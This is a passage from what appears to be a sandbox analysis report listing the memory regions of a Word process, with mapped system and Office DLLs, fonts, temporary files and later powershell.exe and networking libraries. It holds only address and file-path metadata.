entry_point = 0x740f0000
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")
Region:
id = 406
start_va = 0x74100000
end_va = 0x7411bfff
entry_point = 0x74100000
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")
Region:
id = 407
start_va = 0x74500000
end_va = 0x74524fff
entry_point = 0x74500000
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll")
Region:
id = 408
start_va = 0x75ce0000
end_va = 0x75e15fff
entry_point = 0x75ce0000
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll")
Region:
id = 409
start_va = 0x75e30000
end_va = 0x7602afff
entry_point = 0x75e30000
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll")
Region:
id = 410
start_va = 0x771e0000
end_va = 0x772d4fff
entry_point = 0x771e0000
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll")
Region:
id = 411
start_va = 0x7ffa7000
end_va = 0x7ffa7fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffa7000"
filename = ""
Region:
id = 412
start_va = 0x20d0000
end_va = 0x20d1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000020d0000"
filename = ""
Region:
id = 413
start_va = 0x20e0000
end_va = 0x20eefff
entry_point = 0x0
region_type = private
name = "private_0x00000000020e0000"
filename = ""
Region:
id = 414
start_va = 0x2890000
end_va = 0x28aefff
entry_point = 0x0
region_type = private
name = "private_0x0000000002890000"
filename = ""
Region:
id = 415
start_va = 0x8a30000
end_va = 0x8b2ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008a30000"
filename = ""
Region:
id = 416
start_va = 0x6f420000
end_va = 0x6f592fff
entry_point = 0x6f420000
region_type = mapped_file
name = "grooveex.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\grooveex.dll")
Region:
id = 417
start_va = 0x20f0000
end_va = 0x20f1fff
entry_point = 0x0
region_type = private
name = "private_0x00000000020f0000"
filename = ""
Region:
id = 418
start_va = 0x2330000
end_va = 0x234efff
entry_point = 0x0
region_type = private
name = "private_0x0000000002330000"
filename = ""
Region:
id = 419
start_va = 0x3860000
end_va = 0x387efff
entry_point = 0x0
region_type = private
name = "private_0x0000000003860000"
filename = ""
Region:
id = 420
start_va = 0x4680000
end_va = 0x469efff
entry_point = 0x0
region_type = private
name = "private_0x0000000004680000"
filename = ""
Region:
id = 421
start_va = 0x46a0000
end_va = 0x46c0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000046a0000"
filename = ""
Region:
id = 422
start_va = 0x8b30000
end_va = 0x8ce8fff
entry_point = 0x8b30000
region_type = mapped_file
name = "office.odf"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\cultures\\office.odf")
Region:
id = 423
start_va = 0x6e6b0000
end_va = 0x6e6e0fff
entry_point = 0x6e6b0000
region_type = mapped_file
name = "ehstorshell.dll"
filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll")
Region:
id = 424
start_va = 0x6e6f0000
end_va = 0x6ef6dfff
entry_point = 0x6e6f0000
region_type = mapped_file
name = "grooveintlresource.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\1033\\grooveintlresource.dll")
Region:
id = 425
start_va = 0x20f0000
end_va = 0x20fefff
entry_point = 0x0
region_type = private
name = "private_0x00000000020f0000"
filename = ""
Region:
id = 426
start_va = 0x2370000
end_va = 0x238efff
entry_point = 0x0
region_type = private
name = "private_0x0000000002370000"
filename = ""
Region:
id = 427
start_va = 0x6e630000
end_va = 0x6e638fff
entry_point = 0x6e630000
region_type = mapped_file
name = "cscdll.dll"
filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll")
Region:
id = 428
start_va = 0x6e640000
end_va = 0x6e6a9fff
entry_point = 0x6e640000
region_type = mapped_file
name = "cscui.dll"
filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll")
Region:
id = 429
start_va = 0x20e0000
end_va = 0x20e1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000020e0000"
filename = ""
Region:
id = 430
start_va = 0x6e620000
end_va = 0x6e62afff
entry_point = 0x6e620000
region_type = mapped_file
name = "cscapi.dll"
filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll")
Region:
id = 431
start_va = 0x73300000
end_va = 0x7336ffff
entry_point = 0x73300000
region_type = mapped_file
name = "ntshrui.dll"
filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll")
Region:
id = 432
start_va = 0x755b0000
end_va = 0x755c8fff
entry_point = 0x755b0000
region_type = mapped_file
name = "srvcli.dll"
filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll")
Region:
id = 433
start_va = 0x11f0000
end_va = 0x1201fff
entry_point = 0x0
region_type = private
name = "private_0x00000000011f0000"
filename = ""
Region:
id = 434
start_va = 0x1210000
end_va = 0x1210fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001210000"
filename = ""
Region:
id = 435
start_va = 0x1230000
end_va = 0x123efff
entry_point = 0x0
region_type = private
name = "private_0x0000000001230000"
filename = ""
Region:
id = 436
start_va = 0x20a0000
end_va = 0x20b1fff
entry_point = 0x0
region_type = private
name = "private_0x00000000020a0000"
filename = ""
Region:
id = 437
start_va = 0x2100000
end_va = 0x2102fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002100000"
filename = ""
Region:
id = 438
start_va = 0x2360000
end_va = 0x2360fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002360000"
filename = ""
Region:
id = 439
start_va = 0x2390000
end_va = 0x23adfff
entry_point = 0x0
region_type = private
name = "private_0x0000000002390000"
filename = ""
Region:
id = 440
start_va = 0x25e0000
end_va = 0x25e0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000025e0000"
filename = ""
Region:
id = 441
start_va = 0x25f0000
end_va = 0x25f0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000025f0000"
filename = ""
Region:
id = 442
start_va = 0x2700000
end_va = 0x2700fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002700000"
filename = ""
Region:
id = 443
start_va = 0x2740000
end_va = 0x275dfff
entry_point = 0x0
region_type = private
name = "private_0x0000000002740000"
filename = ""
Region:
id = 444
start_va = 0x3980000
end_va = 0x399efff
entry_point = 0x0
region_type = private
name = "private_0x0000000003980000"
filename = ""
Region:
id = 445
start_va = 0x3b10000
end_va = 0x3b2efff
entry_point = 0x0
region_type = private
name = "private_0x0000000003b10000"
filename = ""
Region:
id = 446
start_va = 0x4850000
end_va = 0x4897fff
entry_point = 0x0
region_type = private
name = "private_0x0000000004850000"
filename = ""
Region:
id = 447
start_va = 0x49a0000
end_va = 0x49e7fff
entry_point = 0x0
region_type = private
name = "private_0x00000000049a0000"
filename = ""
Region:
id = 448
start_va = 0x49f0000
end_va = 0x4a0efff
entry_point = 0x0
region_type = private
name = "private_0x00000000049f0000"
filename = ""
Region:
id = 449
start_va = 0x80b0000
end_va = 0x812ffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000080b0000"
filename = ""
Region:
id = 450
start_va = 0x8130000
end_va = 0x81affff
entry_point = 0x8130000
region_type = mapped_file
name = "~df628e6a8773cad438.tmp"
filename = "\\Users\\ATVEYD~1\\AppData\\Local\\Temp\\~DF628E6A8773CAD438.TMP" (normalized: "c:\\users\\atveyd~1\\appdata\\local\\temp\\~df628e6a8773cad438.tmp")
Region:
id = 451
start_va = 0x8d50000
end_va = 0x8e4ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008d50000"
filename = ""
Region:
id = 452
start_va = 0x72570000
end_va = 0x7281dfff
entry_point = 0x72570000
region_type = mapped_file
name = "gkword.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\GKWord.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\gkword.dll")
Region:
id = 453
start_va = 0x7ffa6000
end_va = 0x7ffa6fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffa6000"
filename = ""
Region:
id = 454
start_va = 0x724b0000
end_va = 0x7256efff
entry_point = 0x724b0000
region_type = mapped_file
name = "msvcr100.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\SystemX86\\msvcr100.dll" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\systemx86\\msvcr100.dll")
Region:
id = 455
start_va = 0x72570000
end_va = 0x727eefff
entry_point = 0x72570000
region_type = mapped_file
name = "vbe7.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbe7.dll")
Region:
id = 456
start_va = 0x1240000
end_va = 0x1241fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000001240000"
filename = ""
Region:
id = 457
start_va = 0x20c0000
end_va = 0x20c1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000020c0000"
filename = ""
Region:
id = 458
start_va = 0x5060000
end_va = 0x506ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005060000"
filename = ""
Region:
id = 459
start_va = 0x8890000
end_va = 0x8956fff
entry_point = 0x8890000
region_type = mapped_file
name = "calibri.ttf"
filename = "\\Windows\\Fonts\\calibri.ttf" (normalized: "c:\\windows\\fonts\\calibri.ttf")
Region:
id = 460
start_va = 0x6b600000
end_va = 0x6b68bfff
entry_point = 0x6b600000
region_type = mapped_file
name = "uiautomationcore.dll"
filename = "\\Windows\\System32\\UIAutomationCore.dll" (normalized: "c:\\windows\\system32\\uiautomationcore.dll")
Region:
id = 461
start_va = 0x72d80000
end_va = 0x72dbbfff
entry_point = 0x72d80000
region_type = mapped_file
name = "oleacc.dll"
filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll")
Region:
id = 462
start_va = 0x20f0000
end_va = 0x20f0fff
entry_point = 0x20f0000
region_type = mapped_file
name = "oleaccrc.dll"
filename = "\\Windows\\System32\\oleaccrc.dll" (normalized: "c:\\windows\\system32\\oleaccrc.dll")
Region:
id = 463
start_va = 0x2350000
end_va = 0x2350fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002350000"
filename = ""
Region:
id = 464
start_va = 0x8e50000
end_va = 0x9301fff
entry_point = 0x0
region_type = private
name = "private_0x0000000008e50000"
filename = ""
Region:
id = 465
start_va = 0x6d9e0000
end_va = 0x6d9e8fff
entry_point = 0x6d9e0000
region_type = mapped_file
name = "linkinfo.dll"
filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll")
Region:
id = 466
start_va = 0x77700000
end_va = 0x77702fff
entry_point = 0x77700000
region_type = mapped_file
name = "normaliz.dll"
filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll")
Region:
id = 467
start_va = 0x752e0000
end_va = 0x752f6fff
entry_point = 0x752e0000
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll")
Region:
id = 468
start_va = 0x74ec0000
end_va = 0x74efcfff
entry_point = 0x74ec0000
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")
Region:
id = 469
start_va = 0x2720000
end_va = 0x2722fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002720000"
filename = ""
Region:
id = 470
start_va = 0x9310000
end_va = 0x93f0fff
entry_point = 0x9310000
region_type = mapped_file
name = "msword.olb"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\MSWORD.OLB" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msword.olb")
Region:
id = 471
start_va = 0x6b3c0000
end_va = 0x6b5f0fff
entry_point = 0x6b3c0000
region_type = mapped_file
name = "vbeui.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBEUI.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbeui.dll")
Region:
id = 472
start_va = 0x2730000
end_va = 0x273ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000002730000"
filename = ""
Region:
id = 473
start_va = 0x2760000
end_va = 0x2769fff
entry_point = 0x2760000
region_type = mapped_file
name = "normnfd.nls"
filename = "\\Windows\\System32\\normnfd.nls" (normalized: "c:\\windows\\system32\\normnfd.nls")
Region:
id = 474
start_va = 0x2880000
end_va = 0x2880fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002880000"
filename = ""
Region:
id = 475
start_va = 0x3ac0000
end_va = 0x3ac2fff
entry_point = 0x0
region_type = private
name = "private_0x0000000003ac0000"
filename = ""
Region:
id = 476
start_va = 0x46d0000
end_va = 0x46d3fff
entry_point = 0x0
region_type = private
name = "private_0x00000000046d0000"
filename = ""
Region:
id = 477
start_va = 0x4a10000
end_va = 0x4a10fff
entry_point = 0x0
region_type = private
name = "private_0x0000000004a10000"
filename = ""
Region:
id = 478
start_va = 0x4f20000
end_va = 0x4f20fff
entry_point = 0x0
region_type = private
name = "private_0x0000000004f20000"
filename = ""
Region:
id = 479
start_va = 0x5030000
end_va = 0x504ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000005030000"
filename = ""
Region:
id = 480
start_va = 0x5050000
end_va = 0x5056fff
entry_point = 0x0
region_type = private
name = "private_0x0000000005050000"
filename = ""
Region:
id = 481
start_va = 0x5070000
end_va = 0x5073fff
entry_point = 0x0
region_type = private
name = "private_0x0000000005070000"
filename = ""
Region:
id = 482
start_va = 0x81b0000
end_va = 0x81cffff
entry_point = 0x0
region_type = private
name = "private_0x00000000081b0000"
filename = ""
Region:
id = 483
start_va = 0x81d0000
end_va = 0x81d3fff
entry_point = 0x0
region_type = private
name = "private_0x00000000081d0000"
filename = ""
Region:
id = 484
start_va = 0x81e0000
end_va = 0x81e3fff
entry_point = 0x0
region_type = private
name = "private_0x00000000081e0000"
filename = ""
Region:
id = 485
start_va = 0x81f0000
end_va = 0x820ffff
entry_point = 0x0
region_type = private
name = "private_0x00000000081f0000"
filename = ""
Region:
id = 486
start_va = 0x8310000
end_va = 0x838ffff
entry_point = 0x8310000
region_type = mapped_file
name = "~wrf{7e999095-9afe-4cb7-8aaa-1a0c83bcd4f0}.tmp"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{7E999095-9AFE-4CB7-8AAA-1A0C83BCD4F0}.tmp" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.word\\~wrf{7e999095-9afe-4cb7-8aaa-1a0c83bcd4f0}.tmp")
Region:
id = 487
start_va = 0x8390000
end_va = 0x8392fff
entry_point = 0x0
region_type = private
name = "private_0x0000000008390000"
filename = ""
Region:
id = 488
start_va = 0x83a0000
end_va = 0x83b4fff
entry_point = 0x843bfb8
region_type = mapped_file
name = "vbe7.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbe7.dll")
Region:
id = 489
start_va = 0x83c0000
end_va = 0x83c5fff
entry_point = 0x845bfb8
region_type = mapped_file
name = "vbe7.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\vbe7.dll")
Region:
id = 490
start_va = 0x8710000
end_va = 0x878bfff
entry_point = 0x8711000
region_type = mapped_file
name = "mso.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\OFFICE16\\MSO.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\office16\\mso.dll")
Region:
id = 491
start_va = 0x9400000
end_va = 0x97fffff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000009400000"
filename = ""
Region:
id = 492
start_va = 0x72480000
end_va = 0x724a5fff
entry_point = 0x72480000
region_type = mapped_file
name = "vbe7intl.dll"
filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX86\\Microsoft Shared\\VBA\\VBA7.1\\1033\\VBE7INTL.DLL" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx86\\microsoft shared\\vba\\vba7.1\\1033\\vbe7intl.dll")
Region:
id = 493
start_va = 0x84d0000
end_va = 0x84d3fff
entry_point = 0x0
region_type = private
name = "private_0x00000000084d0000"
filename = ""
Region:
id = 494
start_va = 0x99c0000
end_va = 0x9abffff
entry_point = 0x0
region_type = private
name = "private_0x00000000099c0000"
filename = ""
Region:
id = 495
start_va = 0x7ffac000
end_va = 0x7ffacfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffac000"
filename = ""
Region:
id = 496
start_va = 0x84e0000
end_va = 0x84e3fff
entry_point = 0x0
region_type = private
name = "private_0x00000000084e0000"
filename = ""
Region:
id = 497
start_va = 0x85f0000
end_va = 0x85f3fff
entry_point = 0x0
region_type = private
name = "private_0x00000000085f0000"
filename = ""
Region:
id = 498
start_va = 0x8600000
end_va = 0x8603fff
entry_point = 0x0
region_type = private
name = "private_0x0000000008600000"
filename = ""
Region:
id = 499
start_va = 0x8960000
end_va = 0x89cefff
entry_point = 0x8960000
region_type = mapped_file
name = "powershell.exe"
filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")
Region:
id = 610
start_va = 0x2290000
end_va = 0x2290fff
entry_point = 0x0
region_type = private
name = "private_0x0000000002290000"
filename = ""
Region:
id = 611
start_va = 0x6ff0000
end_va = 0x70e2fff
entry_point = 0x0
region_type = private
name = "private_0x0000000006ff0000"
filename = ""
Region:
id = 612
start_va = 0x70f0000
end_va = 0x71e5fff
entry_point = 0x0
region_type = private
name = "private_0x00000000070f0000"
filename = ""
Region:
id = 613
start_va = 0x8970000
end_va = 0x8a1afff
entry_point = 0x8970000
region_type = mapped_file
name = "tahoma.ttf"
filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf")
Region:
id = 614
start_va = 0x8d10000
end_va = 0x8d11fff
entry_point = 0x0
region_type = private
name = "private_0x0000000008d10000"
filename = ""
Region:
id = 615
start_va = 0x8d30000
end_va = 0x8d31fff
entry_point = 0x0
region_type = private
name = "private_0x0000000008d30000"
filename = ""
Region:
id = 616
start_va = 0x8e50000
end_va = 0x920ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008e50000"
filename = ""
Region:
id = 617
start_va = 0x9210000
end_va = 0x92dbfff
entry_point = 0x9210000
region_type = mapped_file
name = "times.ttf"
filename = "\\Windows\\Fonts\\times.ttf" (normalized: "c:\\windows\\fonts\\times.ttf")
Region:
id = 618
start_va = 0x92e0000
end_va = 0x92e1fff
entry_point = 0x0
region_type = private
name = "private_0x00000000092e0000"
filename = ""
Region:
id = 619
start_va = 0x9300000
end_va = 0x9301fff
entry_point = 0x0
region_type = private
name = "private_0x0000000009300000"
filename = ""
Region:
id = 620
start_va = 0x9800000
end_va = 0x98cdfff
entry_point = 0x9800000
region_type = mapped_file
name = "timesbd.ttf"
filename = "\\Windows\\Fonts\\timesbd.ttf" (normalized: "c:\\windows\\fonts\\timesbd.ttf")
Region:
id = 621
start_va = 0x98d0000
end_va = 0x9989fff
entry_point = 0x98d0000
region_type = mapped_file
name = "calibril.ttf"
filename = "\\Windows\\Fonts\\CalibriL.ttf" (normalized: "c:\\windows\\fonts\\calibril.ttf")
Region:
id = 622
start_va = 0x99a0000
end_va = 0x99a1fff
entry_point = 0x0
region_type = private
name = "private_0x00000000099a0000"
filename = ""
Region:
id = 623
start_va = 0x99b0000
end_va = 0x99b0fff
entry_point = 0x0
region_type = private
name = "private_0x00000000099b0000"
filename = ""
Region:
id = 624
start_va = 0x9ac0000
end_va = 0xa2bffff
entry_point = 0x0
region_type = private
name = "private_0x0000000009ac0000"
filename = ""
Region:
id = 625
start_va = 0xa2c0000
end_va = 0xa3bffff
entry_point = 0x0
region_type = private
name = "private_0x000000000a2c0000"
filename = ""
Region:
id = 626
start_va = 0xa3c0000
end_va = 0xa494fff
entry_point = 0xa3c0000
region_type = mapped_file
name = "calibrili.ttf"
filename = "\\Windows\\Fonts\\CalibriLI.ttf" (normalized: "c:\\windows\\fonts\\calibrili.ttf")
Region:
id = 627
start_va = 0xa4b0000
end_va = 0xa4b1fff
entry_point = 0x0
region_type = private
name = "private_0x000000000a4b0000"
filename = ""
Region:
id = 628
start_va = 0xa4c0000
end_va = 0xa590fff
entry_point = 0xa4c0000
region_type = mapped_file
name = "calibrii.ttf"
filename = "\\Windows\\Fonts\\calibrii.ttf" (normalized: "c:\\windows\\fonts\\calibrii.ttf")
Region:
id = 629
start_va = 0xa5b0000
end_va = 0xa5b1fff
entry_point = 0x0
region_type = private
name = "private_0x000000000a5b0000"
filename = ""
Region:
id = 630
start_va = 0xa5d0000
end_va = 0xa5d1fff
entry_point = 0x0
region_type = private
name = "private_0x000000000a5d0000"
filename = ""
Region:
id = 631
start_va = 0xa5f0000
end_va = 0xa5f1fff
entry_point = 0x0
region_type = private
name = "private_0x000000000a5f0000"
filename = ""
Region:
id = 632
start_va = 0xa600000
end_va = 0xa6d8fff
entry_point = 0x0
region_type = private
name = "private_0x000000000a600000"
filename = ""
Region:
id = 633
start_va = 0x6b6e0000
end_va = 0x6b71afff
entry_point = 0x6b6e0000
region_type = mapped_file
name = "msproof7.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\msproof7.dll" (normalized: "c:\\program files\\microsoft office\\root\\office16\\msproof7.dll")
Region:
id = 634
start_va = 0x6b350000
end_va = 0x6b3b3fff
entry_point = 0x6b350000
region_type = mapped_file
name = "msgr8en.dll"
filename = "\\Program Files\\Microsoft Office\\root\\Office16\\PROOF\\1033\\MSGR8EN.DLL" (normalized: "c:\\program files\\microsoft office\\root\\office16\\proof\\1033\\msgr8en.dll")
Region:
id = 1612
start_va = 0x7220000
end_va = 0x731ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000007220000"
filename = ""
Region:
id = 1613
start_va = 0x73fc0000
end_va = 0x73fccfff
entry_point = 0x73fc2012
region_type = mapped_file
name = "dhcpcsvc6.dll"
filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")
Region:
id = 1614
start_va = 0x73fa0000
end_va = 0x73fb1fff
entry_point = 0x73fa3271
region_type = mapped_file
name = "dhcpcsvc.dll"
filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")
Region:
id = 1615
start_va = 0x74eb0000
end_va = 0x74eb7fff
entry_point = 0x74eb34d3
region_type = mapped_file
name = "credssp.dll"
filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")
Region:
id = 1616
start_va = 0x751a0000
end_va = 0x751dbfff
entry_point = 0x751a145d
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")
Region:
id = 1617
start_va = 0x72180000
end_va = 0x72185fff
entry_point = 0x72180000
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\System32\\wshqos.dll" (normalized: "c:\\windows\\system32\\wshqos.dll")
Region:
id = 1618
start_va = 0x74cf0000
end_va = 0x74cf4fff
entry_point = 0x74cf15df
region_type = mapped_file
name = "wshtcpip.dll"
filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")
Region:
id = 1619
start_va = 0x75190000
end_va = 0x75195fff
entry_point = 0x75191673
region_type = mapped_file
name = "wship6.dll"
filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")
Region:
id = 1620
start_va = 0x1230000
end_va = 0x1237fff
entry_point = 0x1230000
region_type = mapped_file
name = "urlmon.dll.mui"
filename = "\\Windows\\System32\\en-US\\urlmon.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\urlmon.dll.mui")
Region:
id = 1621
start_va = 0x22a0000
end_va = 0x22a1fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000022a0000"
filename = ""
Region:
id = 1622
start_va = 0x2330000
end_va = 0x233ffff
entry_point = 0x2330000
region_type = mapped_file
name = "index.dat"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat")
Region:
id = 1623
start_va = 0x2340000
end_va = 0x2347fff
entry_point = 0x2340000
region_type = mapped_file
name = "index.dat"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat")
Region:
id = 1624
start_va = 0x2370000
end_va = 0x237ffff
entry_point = 0x2370000
region_type = mapped_file
name = "index.dat"
filename = "\\Users\\ATVeyDl98Z\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\atveydl98z\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat")
Region:
id = 1625
start_va = 0x4900000
end_va = 0x493ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000004900000"
filename = ""
Region:
id = 1626
start_va = 0x72fb0000
end_va = 0x72fc4fff
entry_point = 0x72fb12de
region_type = mapped_file
name = "rasman.dll"
filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll")
Region:
id = 1627
start_va = 0x72fd0000
end_va = 0x73021fff
entry_point = 0x72fd14be
region_type = mapped_file
name = "rasapi32.dll"
filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll")
Region:
id = 1628
start_va = 0x75060000
end_va = 0x750a3fff
entry_point = 0x750763f9
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")
Region:
id = 1629
start_va = 0x736d0000
end_va = 0x736dcfff
entry_point = 0x736d1326
region_type = mapped_file
name = "rtutils.dll"
filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll")
Region:
id = 1630
start_va = 0x2380000
end_va = 0x2380fff
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002380000"
filename = ""
Region:
id = 1631
start_va = 0x72470000
end_va = 0x72475fff
entry_point = 0x7247125a
region_type = mapped_file
name = "sensapi.dll"
filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll")
Region:
id = 1632
start_va = 0x6fd0000
end_va = 0x6fdffff
entry_point = 0x0
region_type = private
name = "private_0x0000000006fd0000"
filename = ""
Region:
id = 1633
start_va = 0xa780000
end_va = 0xa87ffff
entry_point = 0x0
region_type = private
name = "private_0x000000000a780000"
filename = ""
Region:
id = 1634
start_va = 0x6da20000
end_va = 0x6da25fff
entry_point = 0x6da214b2
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")
Region:
id = 1635
start_va = 0x7ffd3000
end_va = 0x7ffd3fff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffd3000"
filename = ""
Region:
id = 1636
start_va = 0x8790000
end_va = 0x888ffff
entry_point = 0x0
region_type = private
name = "private_0x0000000008790000"
filename = ""
Region:
id = 1637
start_va = 0x73fe0000
end_va = 0x74017fff
entry_point = 0x73fe990e
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")
Region:
id = 1638
start_va = 0x7ffab000
end_va = 0x7ffabfff
entry_point = 0x0
region_type = private
name = "private_0x000000007ffab000"
filename = ""
Region:
id = 1639
